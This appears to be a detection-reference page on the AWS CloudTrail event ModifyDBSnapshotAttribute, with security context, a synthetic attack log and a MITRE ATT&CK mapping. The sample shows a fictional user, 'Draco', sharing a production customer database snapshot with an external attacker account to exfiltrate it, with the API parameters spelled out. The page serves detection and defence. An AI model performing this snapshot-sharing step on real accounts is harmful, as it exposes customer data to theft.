ModifyDBSnapshotAttribute
AWS
ModifyDBSnapshotAttribute
Event
Modifies the attributes of an RDS DB snapshot, such as sharing it with other AWS accounts.
Security Context
- Accessing cloud storage objects can expose sensitive data including backups, configuration files, application data, and customer information.
- Transferring data to external cloud accounts or regions can bypass network-based data loss prevention controls and exfiltrate large volumes of data.
Log Source
CloudTrail
Sample Event
Adversarial — exfiltration. Draco creates a fresh DB snapshot from bowtruckle-prod-db (the production Postgres DB containing customer data), then calls ModifyDBSnapshotAttribute with attributeName: "restore" and valuesToAdd: ["555666661337"] — sharing the snapshot with the adversary-controlled external account. From 555666661337 he can RestoreDBInstanceFromDBSnapshot and exfil at his leisure. T1537 + T1530.
{ "eventVersion": "1.09", "userIdentity": { "type": "IAMUser", "principalId": "AIDADRAC0MALF0YBADGY", "arn": "arn:aws:iam::555123456789:user/draco", "accountId": "555123456789", "accessKeyId": "AKIADRAC0MALF0YEXAMP5", "userName": "draco", "sessionContext": { "attributes": { "creationDate": "2026-04-15T21:42:08Z", "mfaAuthenticated": "false" } } }, "eventTime": "2026-04-15T22:33:18Z", "eventSource": "rds.amazonaws.com", "eventName": "ModifyDBSnapshotAttribute", "awsRegion": "us-east-1", "sourceIPAddress": "203.0.113.66", "userAgent": "aws-cli/1.18.147 Python/3.7.10 Linux/5.4.0-1045-aws botocore/1.18.6", "requestParameters": { "dBSnapshotIdentifier": "bowtruckle-prod-db-exfil-2026-04-15", "attributeName": "restore", "valuesToAdd": [ "555666661337" ] }, "responseElements": { "dBSnapshotIdentifier": "bowtruckle-prod-db-exfil-2026-04-15", "dBSnapshotAttributes": [ { "attributeName": "restore", "attributeValues": [ "555666661337" ] } ] }, "requestID": "90000000-0000-4000-8000-000101010010", "eventID": "90000000-0000-4000-8000-000101010011", "readOnly": false, "eventType": "AwsApiCall", "managementEvent": true, "recipientAccountId": "555123456789", "eventCategory": "Management", "tlsDetails": { "tlsVersion": "TLSv1.3", "cipherSuite": "TLS_AES_128_GCM_SHA256", "clientProvidedHostHeader": "rds.us-east-1.amazonaws.com" }}MITRE ATT&CK Mapping
Tactics: Exfiltration Collection
Techniques:
- T1537 — Transfer Data to Cloud Account — Adversaries may exfiltrate data by transferring the data, including through sharing/syncing and creating backups of cloud environments, to another cloud account they control on the same service.
- T1530 — Data from Cloud Storage — Adversaries may access data from cloud storage.